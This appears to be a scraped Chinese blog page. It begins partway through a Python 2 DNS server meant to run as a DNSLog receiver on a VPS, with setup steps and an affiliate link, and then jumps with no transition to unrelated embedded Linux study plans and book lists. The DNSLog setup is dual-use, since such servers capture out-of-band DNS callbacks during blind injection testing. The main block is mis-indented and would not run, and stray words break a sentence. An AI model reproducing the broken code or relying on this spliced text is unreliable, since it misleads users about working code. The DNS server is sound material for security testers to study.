    def __init__(self, ip):
        self.name = 49164
        self.type = 1
        self.classify = 1
        self.timetolive = 190
        self.datalength = 4
        self.ip = ip

    def getbytes(self):
        res = struct.pack('>HHHLH', self.name, self.type, self.classify, self.timetolive, self.datalength)
        s = self.ip.split('.')
        res = res + struct.pack('BBBB', int(s[0]), int(s[1]), int(s[2]), int(s[3]))
        return res

# DNS frame
# must initialized by a DNS query frame
class SinDNSFrame:
    def __init__(self, data):
        (self.id, self.flags, self.quests, self.answers, self.author, self.addition) = struct.unpack('>HHHHHH', data[0:12])
        self.query = SinDNSQuery(data[12:])

    def getname(self):
        return self.query.name

    def setip(self, ip):
        self.answer = SinDNSAnswer(ip)
        self.answers = 1
        self.flags = 33152

    def getbytes(self):

        res = struct.pack('>HHHHHH', self.id, self.flags, self.quests, self.answers, self.author, self.addition)
        res = res + self.query.getbytes()
        if self.answers != 0:
            res = res + self.answer.getbytes()
        return res

# A UDPHandler to handle DNS query
class SinDNSUDPHandler(SocketServer.BaseRequestHandler):
    def handle(self):
        data = self.request[0].strip()
        dns = SinDNSFrame(data)
        socket = self.request[1]
        namemap = SinDNSServer.namemap
        if(dns.query.type==1):
            # If this is query a A record, then response it
            name = dns.getname();
            toip = None
            ifrom = "map"
            if namemap.__contains__(name):
                # If have record, response it
                # dns.setip(namemap[name])
                # socket.sendto(dns.getbytes(), self.client_address)
                toip = namemap[name]
            elif namemap.__contains__('*'):
                # Response default address
                # dns.setip(namemap['*'])
                # socket.sendto(dns.getbytes(), self.client_address)
                toip = namemap['*']
            else:
                # ignore it
                # socket.sendto(data, self.client_address)
                # socket.getaddrinfo(name,0)
                try:
                    toip = socketlib.getaddrinfo(name,0)[0][4][0]
                    ifrom = "sev"
                    # namemap[name] = toip
                    # print socket.getaddrinfo(name,0)
                except Exception, e:
                    print 'get ip fail'
            if toip:
                dns.setip(toip)

            print '%s: %s-->%s (%s)'%(self.client_address[0], name, toip, ifrom)
            socket.sendto(dns.getbytes(), self.client_address)
        else:
            # If this is not query a A record, ignore it
            socket.sendto(data, self.client_address)

# DNS Server
# It only support A record query
# user it, U can create a simple DNS server
class SinDNSServer:
    def __init__(self, port=53):
        SinDNSServer.namemap = {}
        self.port = port

    def addname(self, name, ip):
        SinDNSServer.namemap[name] = ip

    def start(self):
        HOST, PORT = "0.0.0.0", self.port
        server = SocketServer.UDPServer((HOST, PORT), SinDNSUDPHandler)
        server.serve_forever()

# Now, test it
if __name__ == "__main__":
    sev = SinDNSServer()
        sev.addname('ns0.nogan.ga','x.x.x.x') 
        sev.addname('ns1.nogan.ga','x.x.x.x')
        sev.addname('www.nogan.ga','y.y.y.y')
        sev.addname('*', '127.0.0.1') # default address

    sev.start() # start DNS server

将上面的ns0.nogan.ga和ns1.nogan.ga改成你的域名，并且将x.x.x.x改成你的VPS服务器地址。
如果你在搭建DNSLog的同时还想顺便搭建一个网站的话，可以添加一个www记录，指向你的web服务器地址。
星号是将任意地址执行127.0.0.1，这样你的DNSLog请求记录，都会被默认解析到127.0.0.1。

接着在服务器上运行

1

python dns.py

在任意机器上面ping xxxxx.YOURDOMAIN：

可以在VPS上观察到请求已经过来了

但这个时候程序是一直在控制台运行的，想要退出怎么办呢，用nohup将程序改为背景运行：

想要关闭的话，先查看端口并获取进程号，然后kill即可：

Enjoy it~

附：

搬瓦工VPS优惠地址 （推荐 $19.99/年，约合RMB￥128）：

https://bandwagonhost.com/cart.php
可能要扶梯 = =

1、Linux 基础
安装Linux操作系统

Linux文件系统

Linux常用命令

Linux启动过程详解

熟悉Linux服务能够独立安装Linux操作系统

能够熟练使用Linux系统的基本命令

认识Linux系统的常用服务安装Linux操作系统

Linux基本命令实践

设置Linux环境变量

定制Linux的服务

Shell 编程基础使用vi编辑文件

使用Emacs编辑文件使用其他编辑器

2

认识后台程序Bash编程熟悉Linux系统下的编辑环境熟悉Linux下的各种Shell 熟练进行shell编程熟悉vi基本操作 熟悉Emacs的基本操作比较不同shell的区别 编写一个测试服务器是否连通的shell脚本程序编写一个查看进程是否存在的shell脚本程序 编写一个带有循环语句的shell脚本程序

3、Linux 下的 C 编程基础
linux C语言环境概述 Gcc使用方法 Gdb调试技术 Autoconf Automake Makefile 代码优化 熟悉Linux系统下的开发环境熟悉Gcc编译器 熟悉Makefile规则编写Hello,

chi dazzle,World程序 使用 make命令编译程序 编写带有一个循环的程序调试一个有问题的程序
4、嵌入式系统开发基础
嵌入式系统概述 交叉编译 配置TFTP服务 配置NFS服务下载Bootloader和内核 嵌入式Linux应用软件开发流程熟悉嵌入式系统概念以及开发流程建立嵌入式系统开发环境制作cross_gcc工具链 编译并下载U-boot 编译并下载Linux内核 编译并下载Linux应用程序
4、嵌入式系统移植
Linux内核代码 平台相关代码分析 ARM平台介绍 平台移植的关键技术 移植Linux内核到 ARM平台 了解移植的概念 能够移植Linux内核移植Linux2.6内核到 ARM9开发板
5、嵌入式 Linux 下串口通信
串行I/O的基本概念 嵌入式Linux应用软件开发流程 Linux系统的文件和设备 与文件相关的系统调用 配置超级终端和MiniCOM能够熟悉进行串口通信熟悉文件I/O 编写串口通信程序 编写多串口通信程序
6、嵌入式系统中多进程程序设计
Linux系统进程概述 嵌入式系统的进程特点 进程操作 守护进程 相关的系统调用了解Linux系统中进程的概念能够编写多进程程序编写多进程程序 编写一个守护进程程序 sleep系统调用任务管理、同步与通信 Linux任务概述任务调度 管道 信号 共享内存 任务管理 API 了解Linux系统任务管理机制 熟悉进程间通信的几种方式 熟悉嵌入式Linux中的任务间同步与通信编写一个简单的管道程序实现文件传输编写一个使用共享内存的程序
7、嵌入式系统中多线程程序设计
线程的基础知识 多线程编程方法 线程应用中的同步问题了解线程的概念 能够编写简单的多线程程序编写一个多线程程序
8、嵌入式 Linux 网络编程
网络基础知识 嵌入式Linux中TCP/IP网络结构 socket 编程 常用 API函数 分析Ping命令的实现 基本UDP套接口编程 许可证管理PPP协议 GPRS 了解嵌入式Linux网络体系结构能够进行嵌入式Linux环境下的socket 编程 熟悉UDP协议、PPP协议 熟悉GPRS 使用socket 编写代理服务器 使用socket 编写路由器 编写许可证服务器指出TCP和UDP的优缺点 编写一个web服务器 编写一个运行在 ARM平台的网络播放器
9、GUI 程序开发
GUI基础 嵌入式系统GUI类型 编译QT 进行QT开发熟悉嵌入式系统常用的GUI 能够进行QT编程使用QT编写“Hello，World”程序 调试一个加入信号/槽的实例 通过重载QWidget 类方法处理事件
10、Linux 字符设备驱动程序
设备驱动程序基础知识 Linux系统的模块 字符设备驱动分析 fs_operation结构 加载驱动程序了解设备驱动程序的概念 了解Linux字符设备驱动程序结构能够编写字符设备驱动程序编写Skull驱动 编写键盘驱动 编写I/O驱动分析一个看门狗驱动程序 对比Linux2.6内核与2.4内核中字符设备驱动的不同Linux 块设备驱动程序块设备驱动程序工作原理 典型的块设备驱动程序分析 块设备的读写请求队列了解Linux块设备驱动程序结构 能够编写简单的块设备驱动程序比较字符设备与块设备的异同 编写MMC卡驱动程序 分析一个文件系统 对比Linux2.6内核与2.4内核中块设备驱动的不同
11、文件系统
虚拟文件系统 文件系统的建立 ramfs内存文件系统 proc文件系统 devfs 文件系统 MTD技术简介 MTD块设备初始化 MTD块设备的读写操作了解Linux系统的文件系统了解嵌入式Linux的文件系统 了解MTD技术 能够编写简单的文件系统为 ARM9开发板添加 MTD支持 移植JFFS2文件系统通过proc文件系统修改操作系统参数 分析romfs 文件系统源代码创建一个cramfs 文件系统 、Shell 编程基础
Shell简介

<二>

学习掌握嵌入 Linux 的开发与移植 现在非常流行。
各种学习文章与培训班，充斥书店 街头。

笔者 也上了路，经历漫长的摸索，终于一日开窍，但的确 糟蹋了 很多 金钱与时间。 作为穷人，现写下自己的感受，供好学寒士 参考。

第一要点： 实验重于看书 （多编码，少翻书）
一定首先搭建x86实验环境。
用旧计算机（周末电脑城抛售存货，有新的），搭建一套 实验环境。
host主机: 一台PC机（能够跑redhat linux，看问档 就可以了,配网卡与软驱）。
target目标机： 一块旧PC主板，配一张网卡和一个软驱，电源。
附件： 交网线 ，交串口线

够了，不会超过3千元（已经很满足了）。

软件全部到 电脑城/网站 下载。

先不管什么arm ppc mips, 以后看看文档吧。

第二重点：GNU C编译
在PC 上安装 redhat linux 包括 开发工具。
熟悉linux 的配置命令。

练习 linux 的 C 语言编程，多个程序的编译工程制作。
无聊的话，将C语言教材的例程，编译十几个，熟悉GNU 编译器。www.gnu.org
包括gcc make ld objdump ar 等 GNU toolkit

第三重点：realtime linux 内核编程/加载到目标板运行。
1。 下载 rt-linux ,或uclinux 或什么 非 redhat的linux 源码，一定 是包括,编译工程makefile, 并且for x86 PC的。
2。修改和配置程序，将 rtlinux的 标准 console口 改为串口，不是vga与键盘。
3。在redhat linux 环境下，编译 这个 embedded linux内核。
用mkboot的这样程序（或按代码中工具，） 将编译好的内核执行文件 拷贝定位软盘引导区。

4。用这张软盘引导在目标PC主板 。
在PC主机的 串口终端上配置 PC主板目标机。 效果同 redhat linux terminal console一样。

以后越来月难，坚持。

第四个重点 编译跑通网卡的驱动程序
下载编译 你的网卡驱动源码
跑通 主机与目标机的 网络通讯。
不要太动头想， ping 通就是了。

第五个重点 用tftp 下载执行文件从 PC主机 到 目标机运行。

第六个重点 GNU GDB 远程在线调试（网口调试）

第七个重点 实时内核学习/修改
照文章/书 分析调试/破坏 内核的源码。
主要是 调度/消息/存储/文件/进程/线程/互斥 等

单独跑跑， 了解内核功能就是了。

第八个重点 TCP/IP的学习
下载一个 简单的web server (http server)
学习理解，并编译加载运行。
将 PC主板目标机 看作网站服务器，然后在PC主机的网络浏难器中 访问这个 web server.
有兴趣，把你的照片加载到目标机的 html网页中。
www.zebra.org

第九个重点 网卡驱动程序分析
了解 PCI总线原理，尝试独立写点网卡驱动程序，过滤以太报文的处理。 跟踪处理 特殊的报文。

第十个重点USB和 FLASH文件系统练习。（可以跳过）
可以分析修改 USB与FLASH文件系统源码。
一定要分析源码，上网查 FLASH的型号。

第十一个重点 路由器实验。
分析zebra方面的源码，再买一张网卡。
尝试分析 NAT RIP等协议，将你的PC板目标机，变成一台简单的路由器。

以后的实验 需要根据 行业来，
例如，mini-GUI (图形编程），或 DVR (硬盘录象机），或IP Vedio WebTV 服务器。

可以玩好几年，当然最好找工作前，有针对地做实验。

一句话，动手修改编码，不要只看看。

<三>

嵌入式Linux操作系统学习规划
ARM+LINUX路线，主攻嵌入式Linux操作系统及其上应用软件开发目标：
（1） 掌握主流嵌入式微处理器的结构与原理（初步定为arm9）
（2） 必须掌握一个嵌入式操作系统 （初步定为uclinux或linux,版本待定）
（3） 必须熟悉嵌入式软件开发流程并至少做一个嵌入式软件项目。
从事嵌入式软件开发的好处是：
（1）目前国内外这方面的人都很稀缺。这一领域入门门槛较高，所以非专业IT人员很难切入这一领域；另一方面，是因为这一领域较新，目前发展太快，大多数人无条件接触。
（2）与企业计算等应用软件不同，嵌入式领域人才的工作强度通常低一些（但收入不低）。
（3）哪天若想创业，搞自已的产品，嵌入式不像应用软件那样容易被盗版。硬件设计一般都是请其它公司给订做（这叫“贴牌”：OEM），都是通用的硬件，我们只管设计软件就变成自己的产品了。
（4）兴趣所在，这是最主要的。
从事嵌入式软件开发的缺点是：
（1）入门起点较高，所用到的技术往往都有一定难度，若软硬件基础不好，特别是操作系统级软件功底不深，则可能不适于此行。
（2）这方面的企业数量要远少于企业计算类企业。
（3）有少数公司经常要硕士以上的人搞嵌入式，主要是基于嵌入式的难度。但大多数公司也并无此要求，只要有经验即可。
（4）平台依托强，换平台比较辛苦。
兴趣的由来：
1、成功观念不同，不虚度此生，就是我的成功。
2、喜欢思考，挑战逻辑思维。
3、喜欢C
C是一种能发挥思维极限的语言。关于C的精神的一些方面可以被概述成短句如下：
相信程序员。
不要阻止程序员做那些需要去做的。
保持语言短小精干。
一种方法做一个操作。
使得它运行的够快，尽管它并不能保证将是可移植的。
4、喜欢底层开发，讨厌vb类开发工具（并不是说vb不好）。
5、发展前景好，适合创业，不想自己要死了的时候还是一个工程师。
方法步骤：
1、基础知识：
目的：能看懂硬件工作原理，但重点在嵌入式软件，特别是操作系统级软件，那将是我的优势。
科目：数字电路、计算机组成原理、嵌入式微处理器结构。
汇编语言、C/C++、编译原理、离散数学。
数据结构和算法、操作系统、软件工程、网络、数据库。
方法：虽科目众多，但都是较简单的基础，且大部分已掌握。不一定全学，可根据需要选修。
主攻书籍：the c++ programming language（一直没时间读）、数据结构-C2。

2、学习linux：
目的：深入掌握linux系统。
　　　方法：使用linux—〉linxu系统编程开发—〉驱动开发和分析linux内核。先看深，那主讲原理。看几遍后，看情景分析，对照深看，两本交叉，深是纲，情是目。剖析则是0.11版，适合学习。最后深入代码。
主攻书籍：linux内核完全剖析、unix环境高级编程、深入理解linux内核、情景分析和源代。
3、学习嵌入式linux：
目的：掌握嵌入式处理器其及系统。
方法：（1）嵌入式微处理器结构与应用：直接arm原理及汇编即可，不要重复x86。
　　　（2）嵌入式操作系统类：ucOS/II简单，开源，可供入门。而后深入研究uClinux。
　　　（3）必须有块开发板（arm9以上），有条件可参加培训（进步快，能认识些朋友）。
　　　主攻书籍：毛德操的《嵌入式系统》及其他arm9手册与arm汇编指令等。

4、深入学习：
　　　A、数字图像压缩技术：主要是应掌握MPEG、mp3等编解码算法和技术。
　　　B、通信协议及编程技术：TCP/IP协议、802.11，Bluetooth，GPRS、GSM、CDMA等。
　　　C、网络与信息安全技术：如加密技术，数字证书CA等。
　　　D、DSP技术：Digital Signal Process，DSP处理器通过硬件实现数字信号处理算法。
　　　说明：太多细节未说明，可根据实际情况调整。重点在于1、3，不必完全按照顺序作。对于学习c++，理由是c++不只是一种语言，一种工具，她还是一种艺术，一种文化，一种哲学理念、但不是拿来炫耀得东西。对于linux内核，学习编程，读一些优秀代码也是有必要的。
　　　注意：　要学会举一反多，有强大的基础，很多东西简单看看就能会。想成为合格的程序员，前提是必须熟练至少一种编程语言，并具有良好的逻辑思维。一定要理论结合实践。
　　　不要一味钻研技术，虽然挤出时间是很难做到的，但还是要留点余地去完善其他的爱好，比如宇宙，素描、机械、管理，心理学、游戏、科幻电影。还有一些不愿意做但必须要做的！
　　　技术是通过编程编程在编程编出来的。永远不要梦想一步登天，不要做浮躁的人，不要觉得路途漫上。而是要编程编程在编程，完了在编程，在编程！等机会来了在创业（不要相信有奇迹发生，盲目创业很难成功，即便成功了发展空间也不一定很大）。

　　　嵌入式书籍推荐
　　　Linux基础
　　　1、《Linux与Unix Shell 编程指南》
　　　C语言基础
　　　1、《C Primer Plus，5th Edition》【美】Stephen Prata着
　　　2、《The C Programming Language, 2nd Edition》【美】Brian W. Kernighan David M. Rithie（K & R）着
　　　3、《Advanced Programming in the UNIX Environment，2nd Edition》（APUE）
　　　4、《嵌入式Linux应用程序开发详解》
　　　Linux内核
　　　1、《深入理解Linux内核》（第三版）
　　　2、《Linux内核源代码情景分析》毛德操 胡希明著
　　　研发方向
　　　1、《UNIX Network Programming》（UNP）
　　　2、《TCP/IP详解》
　　　3、《Linux内核编程》
　　　4、《Linux设备驱动开发》（LDD）　
　　　5、《Linux高级程序设计》 杨宗德著
　　　硬件基础
　　　1、《ARM体系结构与编程》杜春雷着
　　　2、S3C2410 Datasheet
　　　英语基础
　　　1、《计算机与通信专业英语》
　　　系统教程
　　　1、《嵌入式系统――体系结构、编程与设计》
　　　2、《嵌入式系统――采用公开源代码和StrongARM/Xscale处理器》毛德操 胡希明着
　　　3、《Building Embedded Linux Systems》　　　
　　　4、《嵌入式ARM系统原理与实例开发》 杨宗德著
　　　理论基础
　　　1、《算法导论》
　　　2、《数据结构（C语言版）》
　　　3、《计算机组织与体系结构?性能分析》
　　　4、《深入理解计算机系统》【美】Randal E. Bryant David O’’Hallaron着
　　　5、《操作系统：精髓与设计原理》
　　　6、《编译原理》
　　　7、《数据通信与计算机网络》
　　　8、《数据压缩原理与应用》

　　　C语言书籍推荐
　　　1. The C programming language 《Ｃ程序设计语言》
　　　2. Pointers on C 《Ｃ和指针》
　　　3. C traps and pitfalls 《Ｃ陷阱与缺陷》
　　　4. Expert C Lanuage 《专家Ｃ编程》
　　　5. Writing Clean Code —–Microsoft Techiniques for Developing Bug-free C Programs
　　　《编程精粹–Microsoft 编写优质无错Ｃ程序秘诀》
　　　6. Programming Embedded Systems in C and C++ 《嵌入式系统编程》
　　　7.《C语言嵌入式系统编程修炼》
　　　8.《高质量C++/C编程指南》林锐
　　　尽可能多的编码，要学好C，不能只注重C本身。算法，架构方式等都很重要。

这里很多书其实是推荐而已，不必太在意，关键还是基础，才是重中之重！！！

<四>

嵌入式Linux学习的基本的原则是通学+专长。

通学，即了解该方向的相关领域，但是“通”不等于“泛”，对待学习应该举一反三，把握事物的本质。如果能用通用的思想去解决问题，那么才算学有小成。比如，五一学习Mark Balch的《COMPLETE DIGITAL DESIGN》后，对嵌入式系统在上电之后，软硬件如何配合工作有了更深入的理解。虽然这本书不是介绍嵌入式系统，但是很多技术是通用的。有开放的思维，把握自己研究的中心，把其他领域的方法思想吸收过来为我所用，这样可以对研究中心有更为深入的认识。 

专长，即研究中心。通学的目的在于打好基础，融会贯通。但是仅仅如此是不够的。因为通学不可能把每个方向都研究精深，人的精力毕竟是有限的嘛，所以要有自己感兴趣的方向，以此作为研究中心，深入深入再深入，成为该方向的专家。以通促专，提炼自己的思想，以开放的思维谋求最大的提升！ 

我选择的研究领域是嵌入式系统（ARM+Linux），在该领域有四种类型的工作： 
1、系统设计 
2、硬件设计 
3、驱动开发及内核移植 
4、应用开发 

基于我目前的认识，研究中心是驱动开发及内核移植，争取以后做系统设计，成为嵌入式系统设计工程师。 

嵌入式Linux学习分为三个阶段: 
第一阶段：建立嵌入式Linux知识体系框架。 
第二阶段：深入学习嵌入式Linux的基本技术。 
第三阶段：精深专长。 

这三个阶段可以交叉。第一阶段通过2006年暑假两个月的强化学习，已经完成。现在正在进行第二阶段的学习。这个阶段关注嵌入式Linux软件开发的基本技术，包括：JTAG的工作原理及其实现（以JFlash为主）、bootloader的原理及实现（以U-boot为主）、kernel移植与开发（尝试2.4.18、2.6.X）、FS制作（尝试ramdisk、cromfs等）、应用程序的移植（基本掌握开发）、调试和诊断技术。在这个阶段，同时打好硬件基础（掌握S3C2410）和软件基础（bash、C和基本的开发工具）。第三个阶段在读研期间，以研究OS原理和Linux内核源代码为主，与第二阶段交叉进行。 

其实，每天进步一点点，把这一点点所学加到已经建立的知识体系框架中，日积月累，思想认识必定会有所提升。虽然都认可宁可断其一指，不可伤其十指，但是应该承认人的认识是有局限性的。比如学习A时，因缺乏实践等各方面原因，可能认识不深入，也许在学习B时突然认识到了。所以一定要举一反三，而且要反复学习。记住基础的技术，努力学习先进技术，不停止前进的脚步。

<五>

【序】学习Linux开发近一年，由于我是实验室第一个从事这方面开发的，学习过程中遇到了很多问题，可是总是求师无门，只能一个人自己摸索，同时也充分利用了网络，参考了广大CSDN博友及相关论坛的帖子，在此表示感谢！

嵌入式Linux的学习涵盖的范围比较广，下从bootloader，到内核移植、文件系统，中间的驱动开发，到上层的应用程序调试、开发环境等，变化莫测，经常是别人的能用自己的就有问题。

由于缺乏他人适当指点，自己在学习过程中也走了很多弯路，整个开发环境的搭建整了N久，更搞笑的是经常听说模块加载insmod，可连这个命令在主机还是ARM上用都没搞明白，那叫一个汗啊！大家勿笑，嵌入式Linux的初学者确实对交叉环境比较不懂，我是其一啊。

现在适逢好友小布丁要学习嵌入式Linux，就将近一年来的学习体会总结下，整理了一个总体的学习计划，希望给那些曾经像我一样彷徨的人一些帮助。后续将完善此文档，上传到个人空间上，先贴出目录。本人水平有限，不当之处，还请大家指正！

小布丁同学曾在我处于困境时一如既往的理解我支持我，给我信心给我鼓励，谢谢你，美丽开怀的小布丁，希望你能happy and fascinating forever！

谨以此文献给我们永远可爱迷人的小布丁！

Sailor_forever

September 3, 2007

第一篇 Linux主机开发环境（15天）

1.1 Vmvare下Linux的安装（优先）

1.2 Windows下从硬盘安装Linux（可选）

1.3 Linux的基本命令及使用

1.4 Linux的文件系统及与windows的文件共享

1.5 GCC开发工具

1.6 GDB调试

1.7 Makefile编写

1.8 主机端的模块编程

1.9 简单应用程序

第二篇 ARM＋Linux开发环境（7天）

2.1 交叉开发环境介绍

2.2 交叉编译器cross-tool

2.3 配置主机开发环境

2.3.1 配置超级终端minicom或hyperterminal或DNW

2.3.2 配置TFTP网络服务

2.3.3 配置NFS主机端网络服务

2.4 建立交叉开发环境

   2.4.1配置NFS ARM端网络服务

   2.4.2 编译ARM-gdb

2.5 交叉调试应用程序

2.6 ARM上的简单模块编程

第三篇 Linux系统bootlaoder移植（7天）

3.1 Bootloader介绍

3.2 u-boot命令及环境变量

3.3 u-boot的编译配置

3.4 u-boot源码分析

3.5 u-boot移植过程

第四篇 Linux的内核移植（15天）

4.1 配置编译Linux内核

4.1.1 Linux内核源代码结构

4.1.2 Linux内核编译选项解析

4.1.3 Linux内核编译链接

4.2 Linux启动过程源代码分析

4.3 Linux内核移植平台相关代码分析

第五篇 Linux的驱动编程（15天）

5.1 Linux的设备管理

5.2 Linux的驱动程序结构

5.3 简单的字符设备驱动程序

5.4 Linux内核模块的加载卸载

5.5 Linux的打印调试方法

5.6 字符设备的高级属性－中断

5.6 常见的串口网口驱动分析

第六篇 文件系统制作（5天）

6.1 Linux文件系统制作

6.2 文件系统和存储设备的选择

6.3 部署Ramdisk文件系统的过程

第七篇 Linux的高级应用编程（5天）

总用时 15＋7＋7＋15＋15＋5＋5 大概两个半月